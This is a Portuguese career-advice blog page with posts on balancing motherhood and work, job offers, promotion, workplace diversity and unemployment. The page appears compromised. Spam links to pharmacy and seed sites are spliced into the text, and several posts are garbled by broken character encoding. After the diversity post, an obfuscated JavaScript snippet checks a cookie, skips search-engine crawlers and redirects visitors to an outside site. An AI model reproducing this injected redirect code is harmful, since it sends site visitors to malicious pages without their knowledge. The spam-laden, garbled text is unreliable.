Uma das grandes angústias das profissionais atualmente é o equilíbrio entre a carreira e a maternidade. Nas diversas etapas de vida, a mãe e profissional precisa contar com uma rede de apoio e a divisão de tarefas domésticas para não prejudicar sua evolução na carreira.
Quando os filhos são muito pequenos, o momento pode ser mais angustiante, pois bebês exigem maior atenção e cuidado. Por isso, é fundamental construir algumas condições para não se desvincular totalmente do mercado de trabalho. Muitas vezes é preciso desacelerar o ritmo, sem deixar de trabalhar.
Dividir responsabilidades com o cônjuge quanto a horários, levar e pegar na creche e administração das necessidades da criança é essencial. Se puder contar com uma profissional de confiança para ajudar, melhor ainda. Mas nem sempre é possível. Há escolas que já compreenderam essa realidade profissional e montaram hoteizinhos, que podem ser uma alternativa segura e que dê maior tranquilidade às mães.
Além disso, construir uma rede de apoio pode facilitar o dia a dia. Se a mãe não pode contar com os avós, uma alternativa é criar uma rede de pais que possam se alternar nos cuidados. Isso é muito comum em países como EUA, por exemplo. Fazer um revezamento para buscar na escola ou para levar a criança numa atividade lúdica pode ser uma alternativa.
Estabelecer horários para estar com os filhos e tentar deixar o trabalho de lado por algumas horas é algo importante. A maternidade exigente, mas pode ser vivida de uma maneira positiva, mesmo com o estresse diário.
http://tammam.mhs.narotama.ac.id/2018/02/15/purchase-synthroid-online/ T http://npartner.com.br/skunk-seeds-1/ rabalho numa empresa com qual me identifico e me sinto realizado no que faAi??o. Entretanto, recebi um convite para outra oportunidade. O que devo ponderar antes de decidir?
Em primeiro lugar, Ai?? importante avaliar o que gerou o convite, jA? que vocA? nA?o estava procurando por outra oportunidade. Essa avaliaAi??A?o jA? pode lhe dar indAi??cios sobre o que se espera de vocA? na empresa que fez o convite. Pergunte sobre a histA?ria do cargo ou se Ai?? um novo cargo. Quantos profissionais passaram por ele nos A?ltimos tempos? Compreender o que fez com que outras pessoas fossem desligadas ou pedissem para sair pode ser um termA?metro para avaliar a situaAi??A?o.
Se tiver acesso, converse com profissionais que jA? trabalham na empresa em questA?o. Compreenda a histA?ria da organizaAi??A?o e sua cultura. Pergunte-se sobre a convergA?ncia dos valores e do propA?sito da empresa com os seus prA?prios valores e plano de carreira. Analise o pacote completo de remuneraAi??A?o (direta e indireta) para ver se realmente compensa mudar. Apenas o salA?rio nA?o serve de parA?metro.
Avalie tambAi??m se o risco da mudanAi??a Ai?? elevado demais. Ai??s vezes vocA? vai atAi?? ganhar mais, mas tambAi??m haverA? maior instabilidade no emprego. E pondere tambAi??m se vocA? estA? no meio de um projeto que lhe Ai?? interessante e promissor no emprego atual.
Em resumo, toda decisA?o de mudanAi??a gera ansiedade. Por isso, fazer uma anA?lise consistente Ai?? fundamental para continuar a ter sucesso na carreira.
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Estou no mesmo cargo há muito tempo e tenho visto profissionais com pouco tempo de empresa serem promovidos. Como faço para também ter uma oportunidade de crescimento?
Muitas vezes, acabamos nos acomodamos em determinada situação dentro da empresa, exatamente por estarmos nela há muito tempo e pela “estabilidade” conquistada. É, então, necessário compreender quais são os fatores que estão fazendo esses profissionais recém-contratados serem promovidos. Para tanto, cabe fazer algumas perguntas:
A área onde atuo tem possibilidade de ascensão de carreira? Pode acontecer de você já estar no topo da carreira e a única forma de crescer é mudando de área ou de empresa. Se esse é seu desejo, monte uma estratégia para fazer acontecer.
Se existe um plano de carreira, então o que não estou fazendo para me desenvolver? Mapeie os conhecimentos exigidos e as habilidades necessárias para ascender ser promovido. Avalie também que atitudes são mais valorizadas e como você se enquadra, ou não, nelas. Como fui nas últimas avaliações de desempenho? Essa é outra pergunta importante, pois os feedbacks podem dar indicativos de quais lacunas estão fazendo você ficar estagnado.
Procure também desenvolver uma rede de relacionamento dentro da empresa. Tem um almoço da equipe? Participe. Vai acontecer um happy hour com o chefe? Vá. Muitas vezes, nesses momentos informais, sem pretensão de tratar de trabalho, você começa a ser visto. Fazer bons vínculos pode ser um diferencial.
Um conceito fundamental sobre carreira é de que cada um é responsável pela sua. Em alguns momentos é natural ficar insatisfeito, pensando em deixar tudo de lado e partir pra outra. Mas o que considerar nessa hora?
Em primeiro lugar, é preciso avaliar se o que está gerando a insatisfação é de fato algo relacionado à profissão ou carreira ou se existem questões pessoais envolvidas. Há certas etapas de vida nas quais é natural se questionar sobre as escolhas. Logo após de formado, ao se deparar com a realidade do mercado, por exemplo, é comum ter alguma decepção.
Além disso, quando amadurecemos, podemos nos perguntar sobre as escolhas feitas no passado e onde elas nos levarão no futuro. Dúvidas e momentos de crise são naturais. Para analisar se de fato está na hora de mudar de carreira, considere todas as variáveis.
Pergunte-se, por exemplo, se a cultura e a realidade da empresa onde trabalha são convergentes com suas crenças e projetos. Se há possibilidade de realização na carreira e se o investimento no seu próprio desenvolvimento está adequado à exigência do cargo que ocupa. Essas são algumas questões a serem analisadas. perguntas fundamentais. Além disso, analisar se não há fatores de ordem pessoal que estejam impactando nessa insatisfação e focar na sua resolução.
É importante ter calma e compreender que todas as carreiras têm momentos de crise e questionamentos. Analisar e decidir com tranquilidade é fundamental para não se precipitar e depois descobrir que na nova escolha também existem problemas. Em todas as situações sempre haverá aquilo que gostamos de fazer e aquilo que precisamos fazer. É importante considerar isso.
Já tratamos anteriormente da gestão da diversidade sob a ótica da empresa e do profissional. Mas qual o papel dos gestores neste processo?
Os gestores precisam, assim como todos os profissionais das equipes, conhecer o Código de Conduta da empresa e a política sobre diversidade e inclusão. Com esse conhecimento, ele não pode fazer “vista grossa” para comportamentos que sejam contrários aos valores da organização, nem desagregadores do clima no ambiente de trabalho.
A postura do gestor deve ser rígida em relação à discriminação e ao assédio. Toda vez que ele perceber uma atitude na equipe que caminhe neste sentido, deve chamar o profissional e fazer o enquadramento necessário. Mas é preciso também ter uma postura preventiva. Como gerente, cabe a ele orientar sobre o posicionamento da organização com relação à diversidade.
Outro ponto importante é trabalhar seus próprios preconceitos, tendo maior atenção com suas atitudes. Também é necessário desenvolver estratégias de liderança para trabalhar com equipes de múltiplas formações, origens, histórias de vida e cultura. Por exemplo, trabalhar com profissionais de diferentes regiões do país pode ser um desafio, devido aos diferentes estilos de trabalho e a preconceitos que possam existir dentro da equipe. Cuidar da comunicação num ambiente de diversidade é fundamental para garantir uma boa liderança, buscando assegurar o entendimento do que se espera dos profissionais, como também, favorecer a compreensão sobre a cultura da empresa.
Por fim, ele não pode esquecer de disseminar os valores da empresa para a equipe, reforçando o processo de identificação e o desenvolvimento de um time afinado e cooperativo, não apenas pelo desenvolvimento da equipe como time, mas também, cuidando de evitar atitudes que levem a processos de assédio moral e criação de “panelinhas”.
http://tammam.mhs.narotama.ac.id/2018/02/16/detrol-annual-sales/
http://edetresde.es/cheap-hyzaar-50/ http://npartner.com.br/generic-names-for-zanaflex/ Na postagem anterior, falamos sobre alguns conceitos para a gestA?o da diversidade nas empresas. Agora, vamos esclarecer o que os profissionais devem fazer para promoverem uma maior integraAi??A?o e trabalharem em conjunto, tirando o melhor proveito da diversidade das equipes.
Ter pessoas com diferentes origens, referA?ncias e formaAi??Ai??es pode ser um diferencial para a inovaAi??A?o nas organizaAi??Ai??es. Diferentes pontos de vista sA?o fundamentais quando se quer estabelecer um melhor contato com o mercado e ampliar o market share.
Mas, antes de pensar para fora da empresa, Ai?? necessA?rio que os profissionais compreendam seu papel dentro dela. Todo profissional precisarA?, ao longo da carreira, lidar com pessoas com diferentes valores e histA?rias de vida. O que, entA?o, une os integrantes das equipes?
Em primeiro lugar, ter uma convergA?ncia mAi??nima de valores. AlAi??m disso, ter um projeto coletivo (objeto de trabalho) que mobilize e motive a todos. E, por A?ltimo, ter uma postura de inclusA?o e cooperaAi??A?o colocada em prA?tica por toda a equipe.
O profissional pode favorecer esse bom ambiente de trabalho tendo atenAi??A?o com alguns pontos: (1) Conhecer o CA?digo de Conduta da empresa e sua polAi??tica sobre diversidade e inclusA?o; (2) Trabalhar seus preconceitos, fazendo uma autocrAi??tica e analisando quais pontos podem ser melhorados; (3) Estar aberto a novas aprendizagens e tirar o melhor proveito dos pontos de vista diferentes dos colegas; (4) Respeitar as opiniAi??es de todos, mesmo quando nA?o concordar. Estar aberto a escutar argumentos Ai?? fundamental.
NA?o menos importante, evitar comentA?rios pejorativos em relaAi??A?o a determinado grupo social tambAi??m Ai?? fundamental. Lembre sempre que, se vocA? espera ser tratado com respeito, Ai?? preciso respeitar o outro em primeiro lugar.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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O tema diversidade nas organizações tem aparecido no Brasil ainda de forma tímida, embora os estudos sobre o assunto remontem ao século passado. Há ainda muita confusão sobre o que é ter uma gestão da diversidade como política e, até mesmo, sobre o conceito de diversidade.
Para debater este assunto tão importante, vamos construir uma série de artigos que esclareçam um pouco mais sobre o tema. Em primeiro lugar, é preciso entender o que é o conceito de diversidade nas organizações. Uma confusão comum é achar que o termo diversidade refere-se apenas a questões ligadas à pessoas com deficiência (preferimos usar necessidades especificas) ou de orientação sexual.
Na verdade, diversidade engloba a percepção das diferenças entre as pessoas e envolve raça, etnia, gênero, idade, habilidades físicas e mentais, orientação sexual, religião, peso e aparência. Também entram nessa lista os atributos que definem a identidade e a forma de interagir e se relacionar das pessoas.
Em resumo, diversidade nas organizações significa a criação de um ambiente de trabalho que sirva para todos os empregados, que favoreça o clima e a convivência entre todos. Por isso, não há como se trabalhar a gestão da diversidade se ela não for um valor da organização.
É preciso, antes de tudo, que as empresas criem práticas de desenvolvimento que despertem os talentos e habilidades de todos, conscientizando-se de que a reunião de diferentes tipos de competências e perspectivas pode ser uma maneira valiosa de melhorar o desempenho das equipes.
Nos próximos textos iremos detalhar um pouco mais o tema e suas implicações.
Muitos se perguntam se podem mudar o campo de atuação profissional. Essa é sempre uma trajetória exigente, pois irá requerer grande investimento na maioria dos casos. Mas dedicar-se a uma pós-graduação pode ser um primeiro passo para ampliar competências.
Uma forma de ampliar o conhecimento e, ainda, construir um bom networking, é buscar um curso de especialização em uma área diferente. Por exemplo, se você tem a competência no financeiro, pode ampliar para auditoria ou gestão administrativa.
Neste processo, preencher lacunas é fundamental. Avalie os seus interesses, o que você já sabe e o que vai precisar desenvolver na pós-graduação. Faça um plano de carreira e, com base nele e nas informações sobre os cursos disponíveis, procure conversar com seu gestor, um mentor ou outros profissionais mais experientes na área pretendida. Isso pode ajudar a traçar esse planejamento de forma mais consciente.
Depois que você decidir qual pós-graduação fazer, vale a pena conversar também com o coordenador do curso e esclarecer todas as suas dúvidas antes de fazer a matrícula. Procurar entender melhor como funciona este novo nicho de trabalho é fundamental para evitar frustrações.
Enfrentar novos desafios é sempre bom para estimular o crescimento. Fazer isso com os pés no chão e com coragem é essencial para ampliar seu leque de atuação.
Promoção requer capacitação
Toda promoção confronta o profissional com novos desafios. Preparar-se para enfrenta-los é fundamental para seu desenvolvimento de carreira e até mesmo para manter o emprego. Então, quais cuidados são necessários ao aceitar a mudança de cargo?
Em primeiro lugar, é preciso avaliar quais são suas competências. Saber com clareza onde já atua bem e quais as suas lacunas é o passo inicial para realizar bem suas novas atividades. Você pode pedir ao seu gestor e à equipe para destacar alguns pontos positivos e pontos de melhoria como forma de mapear as competências e fraquezas.
Com esses dados, monte uma estratégia de capacitação para as lacunas, especialmente aquelas que vão impactar diretamente na atuação nesse novo cargo. Estabeleça uma ordem de prioridade para capacitar-se e converse com seu gestor sobre seus planos.
Avalie com ele se seu planejamento está adequado e levante opções de desenvolvimento sem custos que podem ser realizadas com profissionais da própria empresa. Se não houver essa possibilidade no momento levante outras alternativas que sejam viáveis para seu desenvolvimento.
Considere também capacitações externas por conta própria, afinal você deve ser o principal interessado em seu crescimento. Não dá para ficar “esperando” que as oportunidades para se desenvolver apareçam.
Muitas pessoas se encontram em situação de desemprego devido ao momento econômico brasileiro. Isso gera angústia e prejudica a vida pessoal. Mas o que fazer nesse tipo de situação?
Por mais que seja difícil lidar com o desemprego, não se desesperar é fundamental. O primeiro passo a ser dado é reativar sua rede de relacionamento. Ligar para os profissionais que conhece e informar que está à procura de emprego é importante. Voltar a frequentar eventos onde pode ampliar o network também é uma boa opção.
E nada de ficar em casa e se deixar abater pela depressão! Aproveite o tempo livre para resolver aqueles assuntos pendentes, como consertar algo de sua casa que precisava da sua atenção, fazer os exames médicos atrasados, ler sobre assuntos relevantes pra sua carreira que você não tinha tempo de pesquisar.
Reorganize seus armários, aproveite para ajudar os filhos nas tarefas escolares e conversar mais com eles também. Cuide da sua autoestima. Faça caminhadas ou corridas para manter a saúde. Enfim, tire esse tempo para pensar mais um pouco em você!
E, claro, busque novas oportunidades profissionais. Olhe sites de empregos, atualize o currículo e se arrisque em alguns processos seletivos. Mesmo que um novo emprego demore a aparecer, o que não pode é ficar parado e se entregar.